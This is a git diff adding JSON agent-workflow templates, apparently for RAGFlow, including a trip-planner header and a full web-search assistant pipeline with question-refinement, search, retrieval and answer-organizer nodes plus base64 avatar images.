SfQErdBkcnKSpbd//jx2LFXw5ln6+g7BI1h78QmUtLbhtpd3I0THuHDxEKxakqviOgoULoAHF2aVcJiLEKQ9r+WSFF6GDW9eDr7qxmliHiLg9mOgfxxvvfk+Oi904ciHRzAwSAeaC7AP6YppAFeFKWdTWL96GRcslmjZ8GzaCGjaD1HLdheIDPC5ISz6wP9+ZidiE5jlCeBExo397Sc53otRyTLJIWMLdYv2R3XbVpQ2zcPg2y8hWD8Nvpoq1NYVI1ekobF2Os/DVEQZqbmlIRw+cZXcJk82OU69nMd9X9iCOXPrEBuP0jBL4t77N+Gzjz/EYma379I1eNq+iP7je9CyeSuvVcbEpewDP8m42bR5sXaCRIF0RvQW4cfuC1WEIF+7dqeRkcDqRXTvmwgrUZz69WuI1TSgtL4BCnMnhJtwii2vGyUbHsa313hw4eNP0H58AsXmABbMDmLWyAGc6zNJecPkVUegsLwsIeJlFeeudmLB3GbMnlGHphnzcJFZyDvCWNJUhkuWn0MtgonBYdxB19sgwlWEw4hyaObE4R4X7mRWhVqzyaF1M/oOh7C0SCXkOX+5U6kJwZqkT7zpfvSeOg+1sgYJ4U789k0260oEaKmYnMBiIy4C66m4E/fedzfuXFqByQ/fwp49vSjZdCfyVYtJ2OawRN6GxIMJF8GhwONW5hrtuw9QExTT5QjRrqlBRamM6hKi3fylOP7WO1h67xdQxfM0hedwU+RcBlmqyYGZZw/4eP905uZRr0AgwXR1anLRBwqh4UGrtzekxOkQH98Fz9LtKPBC6tGjRAYv+noGMT4+hLIlS6Cls0yniYmEwY3kML2mGMMrH8az33sEo6HFyNLDn9XYhD823k/zqYD0Z3vgEMMjwD5hw45EB7iRcyRyPlRWVmFK+LL+MDo4te+6YwN0ykYf+49n1OIs0UYciVGPCwpDRmDaeK7cPIYVPA3GGSX8rVcasuOx5dKcNphLttPRG4TCZjJbb4faeZqGUxq50Ql0//ZVhFduIBeX7PPakWgeb5yPYXOFRQWWQnd/HI+tjmAgCbTToStUz4fSdj+MYZLDjv30U+spLana/DKu9Uzg0/0Hod7xZRx655dY9+WHEfI4xdxDgqSNQpT02rLpi30IKGqeaGdZ0q05fDMLqqJ8oGQC87KhpWsfTO/fA+tqOznJEMwoh0vXOdQ/8wqsoVEe3nkRmLfKtvZ81MOioQSjKqKtcXpMx75Tcaxf5MPERAouumvXhpwoJhQa8SzSc5fAM/9eZM6/C4wP8KQlTJLogmcO/VYPJy0H47rVy22BIyatk9a5ztLRRe8JrLfBx7SbVro1fW/OA4Fh2Gb//Pl3x3+UUaQdCdJUJw/yRB0q4uw2MUxWIXDdwSbK2SI9zTQXKCxsUqXL9gl7hgd4ctrEEH3VnYuq8cLlcVRzs+JwIpMsYCQ9jskJzo1/fZiOGy15K4Rl//QiTrz7Ku577CkEfNQNtCrFIoVM1MVxq4BPohBbwF6s+GfYJXVrB5L0wrtfmvuEvYEH350K8QIHs6bZYvATWTG6xUXszmejSKZdg6LuJIUekDCE+d2iQjMEW8zx4rQcTSLIpcFelLIJp270E9c5qfsvIdt7xtYG8xcuBI+z8acpLzyr2zC9sR4rVq6iXZq+pfwsW4eIRjVuUQdD/3Mp3UQf6+YGzki+QNuubQ3R/5zRYhM0WHfqmrUjx4VmechQYKcnKf2SjFpqdBhJeqfZSZpbZKfG1ARLjSxS/M0DFy/4D0gLNq+/HcfPHGbmAjzYjqG0JIJ/+dd/wP+iEWDQVtzw4BcR02huTUaxYSs9V27a1s98iLNjt3ZTRCVyhl3uhvHnoWXeLH8ZL8i6uXPXQ61R3CT3//3Ltek79dnu7p1IjS3gwVaLOGi2aCVCUFdb1mg3lZoMeyoKp9qSbv7RiygoB2nXwuU88fz4CDmaE3KqgKqmaZjPOt/HY6M5SxchwkONQFGIPhGtF2bXYKnYLFZ4rlyRyteE6BIoxHYQvdDDDezm7Xa991Drof+63v8AerY6kofqDVwAAAAASUVORK5CYII=" +} + diff --git a/agent/templates/trip_planner.json b/agent/templates/trip_planner.json new file mode 100644 index 0000000..9749a84 --- /dev/null +++ b/agent/templates/trip_planner.json @@ -0,0 +1,689 @@ + +{ + "id": 14, + "title": { + "en": "Trip Planner", + "zh": "旅行规划"}, + "description": { + "en": "This smart trip planner utilizes LLM technology to automatically generate customized travel itineraries, with optional tool integration for enhanced reliability.", + "zh": "智能旅行规划将利用大模型自动生成定制化的旅行行程，附带可选工具集成，以增强可靠性。"}, + "canvas_type": "Consumer App", + "dsl": { + "components": { + "Agent:OddGuestsPump": { + "downstream": [ + "Agent:RichTermsCamp" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, 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" +} + + diff --git a/agent/templates/web_search_assistant.json b/agent/templates/web_search_assistant.json new file mode 100644 index 0000000..0e532d1 --- /dev/null +++ b/agent/templates/web_search_assistant.json @@ -0,0 +1,875 @@ + +{ + "id": 16, + "title": { + "en": "WebSearch Assistant", + "zh": "网页搜索助手"}, + "description": { + "en": "A chat assistant template that integrates information extracted from a knowledge base and web searches to respond to queries. Let's start by setting up your knowledge base in 'Retrieval'!", + "zh": "集成了从知识库和网络搜索中提取的信息回答用户问题。让我们从设置您的知识库开始检索！"}, + "canvas_type": "Other", + "dsl": { + "components": { + "Agent:SmartSchoolsCross": { + "downstream": [ + "Message:ShaggyRingsCrash" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query:\n{sys.query}\n\nRefined question:\n{Agent:ThreePathsDecide@content}\n\nWeb search result:\n{Agent:WildGoatsRule@content}\n\nRetrieval result:\n{Agent:WildGoatsRule@content}", + "role": "user" + } + ], + "sys_prompt": "Role: You are an Answer Organizer.\nTask: Generate the answer based on the provided content from: User's query, Refined question, Web search result, Retrieval result.\n\nRequirements:\n - Answer should be in markdown format.\n - Answer should include all \n - Do not make thing up when there's no relevant information to user's question. \n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Agent:WildGoatsRule", + "Retrieval:WarmTimesRun" + ] + }, + "Agent:ThreePathsDecide": { + "downstream": [ + "Agent:WildGoatsRule", + "Retrieval:WarmTimesRun" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "Role: You are a Question Refinement Agent. Rewrite ambiguous or incomplete user questions to align with knowledge base terminology using conversation history.\n\nExample：\n\nUser: What's RAGFlow?\nAssistant: RAGFlow is xxx.\n\nUser: How to deloy it?\nRefine it: How to deploy RAGFlow?", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "begin" + ] + }, + "Agent:WildGoatsRule": { + "downstream": [ + "Agent:SmartSchoolsCross" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query:\n{sys.query}\n\nRefined question:\n{Agent:ThreePathsDecide@content}", + "role": "user" + } + ], + "sys_prompt": "Role: You are a Search-Driven Information Agent that answers questions using web search results.\n\nWorkflow:\nKeyword Extraction:\nExtract exactly 3 keywords from the user's question.\n\nKeywords must be:\n✅ Most specific nouns/proper nouns (e.g., \"iPhone 15 Pro\" not \"phone\")\n✅ Core concepts (e.g., \"quantum entanglement\" not \"science thing\")\n✅ Unbiased (no added opinions)\nNever output keywords to users\n\nSearch & Answer:\nUse search tools (TavilySearch, TavilyExtract, Google, Bing, DuckDuckGo, Wikipedia) with the 3 keywords to retrieve results.\nAnswer solely based on search findings, citing sources.\nIf results conflict, prioritize recent (.gov/.edu > forums)\n\nOutput Rules:\n✖️ Never show keywords in final answers\n✖️ Never guess if search yields no results\n✅ Always cite sources using [Source #] notation", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + }, + { + "component_name": "TavilyExtract", + "name": "TavilyExtract", + "params": { + "api_key": "" + } + }, + { + "component_name": "Google", + "name": "Google", + "params": { + "api_key": "", + "country": "us", + "language": "en" + } + }, + { + "component_name": "Bing", + "name": "Bing", + "params": { + "api_key": "YOUR_API_KEY (obtained from https://www.microsoft.com/en-us/bing/apis/bing-web-search-api)", + "channel": "Webpages", + "country": "CH", + "language": "en", + "top_n": 10 + } + }, + { + "component_name": "DuckDuckGo", + "name": "DuckDuckGo", + "params": { + "channel": "text", + "top_n": 10 + } + }, + { + "component_name": "Wikipedia", + "name": "Wikipedia", + "params": { + "language": "en", + "top_n": 10 + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Agent:ThreePathsDecide" + ] + }, + "Message:ShaggyRingsCrash": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:SmartSchoolsCross@content}" + ] + } + }, + "upstream": [ + "Agent:SmartSchoolsCross" + ] + }, + "Retrieval:WarmTimesRun": { + "downstream": [ + "Agent:SmartSchoolsCross" + ], + "obj": { + "component_name": "Retrieval", + "params": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "Agent:ThreePathsDecide@content", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + }, + "upstream": [ + "Agent:ThreePathsDecide" + ] + }, + "begin": { + "downstream": [ + "Agent:ThreePathsDecide" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your web search assistant. What do you want to search today?" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 1, + "sys.files": [], + "sys.query": "你好", + "sys.user_id": "d6d98fd652f911f0a8fb047c16ec874f" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:ThreePathsDecideend", + "source": "begin", + "sourceHandle": "start", + "target": "Agent:ThreePathsDecide", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:ThreePathsDecidestart-Agent:WildGoatsRuleend", + "source": "Agent:ThreePathsDecide", + "sourceHandle": "start", + "target": "Agent:WildGoatsRule", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:ThreePathsDecidestart-Retrieval:WarmTimesRunend", + "source": "Agent:ThreePathsDecide", + "sourceHandle": "start", + "target": "Retrieval:WarmTimesRun", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:WildGoatsRulestart-Agent:SmartSchoolsCrossend", + "source": "Agent:WildGoatsRule", + "sourceHandle": "start", + "target": "Agent:SmartSchoolsCross", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:SmartSchoolsCrossstart-Message:ShaggyRingsCrashend", + "source": "Agent:SmartSchoolsCross", + "sourceHandle": "start", + "target": "Message:ShaggyRingsCrash", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Retrieval:WarmTimesRunstart-Agent:SmartSchoolsCrossend", + "markerEnd": "logo", + "source": "Retrieval:WarmTimesRun", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Agent:SmartSchoolsCross", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:WildGoatsRuletool-Tool:TrueCrewsTakeend", + "source": "Agent:WildGoatsRule", + "sourceHandle": "tool", + "target": "Tool:TrueCrewsTake", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your web search assistant. What do you want to search today?" + }, + "label": "Begin", + "name": "begin" + }, + "dragging": false, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 32.79251060693639, + "y": 209.67921278359827 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "Role: You are a Question Refinement Agent. Rewrite ambiguous or incomplete user questions to align with knowledge base terminology using conversation history.\n\nExample：\n\nUser: What's RAGFlow?\nAssistant: RAGFlow is xxx.\n\nUser: How to deloy it?\nRefine it: How to deploy RAGFlow?", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Refine Question" + }, + "dragging": false, + "id": "Agent:ThreePathsDecide", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 309.1322126914739, + "y": 188.16985104226876 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 2, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query:\n{sys.query}\n\nRefined question:\n{Agent:ThreePathsDecide@content}", + "role": "user" + } + ], + "sys_prompt": "Role: You are a Search-Driven Information Agent that answers questions using web search results.\n\nWorkflow:\nKeyword Extraction:\nExtract exactly 3 keywords from the user's question.\n\nKeywords must be:\n✅ Most specific nouns/proper nouns (e.g., \"iPhone 15 Pro\" not \"phone\")\n✅ Core concepts (e.g., \"quantum entanglement\" not \"science thing\")\n✅ Unbiased (no added opinions)\nNever output keywords to users\n\nSearch & Answer:\nUse search tools (TavilySearch, TavilyExtract, Google, Bing, DuckDuckGo, Wikipedia) with the 3 keywords to retrieve results.\nAnswer solely based on search findings, citing sources.\nIf results conflict, prioritize recent (.gov/.edu > forums)\n\nOutput Rules:\n✖️ Never show keywords in final answers\n✖️ Never guess if search yields no results\n✅ Always cite sources using [Source #] notation", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + }, + { + "component_name": "TavilyExtract", + "name": "TavilyExtract", + "params": { + "api_key": "" + } + }, + { + "component_name": "Google", + "name": "Google", + "params": { + "api_key": "", + "country": "us", + "language": "en" + } + }, + { + "component_name": "Bing", + "name": "Bing", + "params": { + "api_key": "YOUR_API_KEY (obtained from https://www.microsoft.com/en-us/bing/apis/bing-web-search-api)", + "channel": "Webpages", + "country": "CH", + "language": "en", + "top_n": 10 + } + }, + { + "component_name": "DuckDuckGo", + "name": "DuckDuckGo", + "params": { + "channel": "text", + "top_n": 10 + } + }, + { + "component_name": "Wikipedia", + "name": "Wikipedia", + "params": { + "language": "en", + "top_n": 10 + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Search Agent" + }, + "dragging": false, + "id": "Agent:WildGoatsRule", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 678.5892767651895, + "y": 2.074237779456759 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "Agent:ThreePathsDecide@content", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + }, + "label": "Retrieval", + "name": "Retrieval from knowledge bases " + }, + "dragging": false, + "id": "Retrieval:WarmTimesRun", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 689.0595178434597, + "y": 499.2340890704343 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "retrievalNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query:\n{sys.query}\n\nRefined question:\n{Agent:ThreePathsDecide@content}\n\nWeb search result:\n{Agent:WildGoatsRule@content}\n\nRetrieval result:\n{Agent:WildGoatsRule@content}", + "role": "user" + } + ], + "sys_prompt": "Role: You are an Answer Organizer.\nTask: Generate the answer based on the provided content from: User's query, Refined question, Web search result, Retrieval result.\n\nRequirements:\n - Answer should be in markdown format.\n - Answer should include all \n - Do not make thing up when there's no relevant information to user's question. \n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Answer Organizer" + }, + "dragging": false, + "id": "Agent:SmartSchoolsCross", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 1134.5321493898284, + "y": 221.46972754101765 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:SmartSchoolsCross@content}" + ] + }, + "label": "Message", + "name": "Answer" + }, + "dragging": false, + "id": "Message:ShaggyRingsCrash", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 1437.758553651028, + "y": 235.45081267288185 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "This Agent rewrites your question for better search & retrieval results." + }, + "label": "Note", + "name": "Note: Refine Question" + }, + "dragHandle": ".note-drag-handle", + "id": "Note:BetterCupsBow", + "measured": { + "height": 136, + "width": 244 + }, + "position": { + "x": 270, + "y": 390 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + }, + { + "data": { + "form": { + "text": "This Agent answers questions using web search results." + }, + "label": "Note", + "name": "Note: Search Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "id": "Note:OddGoatsBeg", + "measured": { + "height": 136, + "width": 244 + }, + "position": { + "x": 689.3401860180043, + "y": -204.46057070562227 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + }, + { + "data": { + "form": { + "text": "This Agents generates the answer based on the provided content from: User's query, Refined question, Web search result, Retrieval result." + }, + "label": "Note", + "name": "Note: Answer Organizer" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 188, + "id": "Note:SlowBottlesHope", + "measured": { + "height": 188, + "width": 251 + }, + "position": { + "x": 1152.1929528629184, + "y": 375.08305219772546 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 251 + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_0" + }, + "dragging": false, + "id": "Tool:TrueCrewsTake", + "measured": { + "height": 228, + "width": 200 + }, + "position": { + "x": 642.9703031510875, + "y": 144.80253344921545 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "text": "This is a chat assistant template that integrates information extracted from a knowledge base and web searches to respond to queries. Let's start by setting up your knowledge base in 'Retrieval'!" + }, + "label": "Note", + "name": "Workflow Overall Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 163, + "id": "Note:BumpySteaksPump", + "measured": { + "height": 163, + "width": 389 + }, + "position": { + "x": -36.59148337976953, + "y": 1.488564577528809 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 389 + } + ] + }, + "history": [ + [ + "user", + "你好" + ] + ], + "memory": [], + "messages": [], + "path": [ + "begin", + "Agent:ThreePathsDecide" + ], + "retrieval": [ + { + "chunks": [], + "doc_aggs": [] + }, + { + "chunks": {}, + "doc_aggs": {} + } + ], + "task_id": "183442fc6dd811f091b1047c16ec874f" + }, + "avatar": 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3OjSqeY1HmKuYxZUJKswOmAyyTL0okHGLn9G55HsnUGOlqmobE6TU8TOqpsnhoRkNE6fmANASIpoBHVI5NL0oMEn3rIIM4SEiltJlrZXOfN7Wg1MmFwKMe6kTLJoRgR2wraxsY0IZybSJMtkzGX+drLnn/zlncxdmQ3Wq6+DfWNkwztBn5YbFJiQ+3/2hgvr0FoTzC6P7QJLg5y3dNNt81+WN6NqbjnsGNPT7S4dZhr2MHxPFNopCLrqJyHpnbL2CQkM/ggaeG1LTvw4s//Eqiux8zOLjQ11tjhV4TVMB7nxVg2DzaCIoOWO1oKtemVyYIGZmWbCE9TpWYuFTtVIFRJqRsYKHKez+5sdJQ9Lzl+cGSMg9Q8aa1Apeob48V7DvXRgUMH8F8vPIvRPZsw6bKbMHXGGWhIp2hIUJRrsSgNgrD4nb2pM87LAWyLac5xolZSxY4ojfSlkMb6yhTVKLLexu37zCgvULJz0pboHeFZzorkNOFat8IuIi3lsZPHsWvvARx/6XEOR6dh/jlXoGNKs/W6tqYG0YTYDIwj1WmZRhWfukhUjVRSVjDF2DZXRKxjypvkh2+jqVDeJ9hNsgHzUCEgTCSN3pcQOjI7lFOVF13gmo2d6D3Bxzsf4c1f3E+OzGLutX+C6Z0L0MQBWI5RiplOx7DTllXC2JcKxWFPEIM80vWiklTZczV58FFkTica+2unSC46Enl2vO4mSaWiPEVqembXJtTRw7U8E/jQ4aPY/OEurH/sAejD+zB57bdx5jmXYlZbI40vGDbRUZIh3ghKOrJcr8WbCSOCZ/pa3Ac2ue1vYVGDxUc8C4qp1DBjvGtP2+SR6YLdgDawGh7OYh+L1dtb9mDrv9P4k3vReOUf4ayLr8b8me2WNstugrL+NXRKnx2UbizTONFYtnFzomghqhmlBkiVs4BYJE7iOdL2mnXobI8h6GEZn2YWFW1BqIyRLYZY8g8f6TF6aNObr2Jg/aOEWQYt19yFs1eswpmds1GV8oxcKD90hFPTAZRpouImYyzrqGQVw+SgNDK0CR3qEuebS6XZCgSSbrStsNs7fGroGTeRvEX4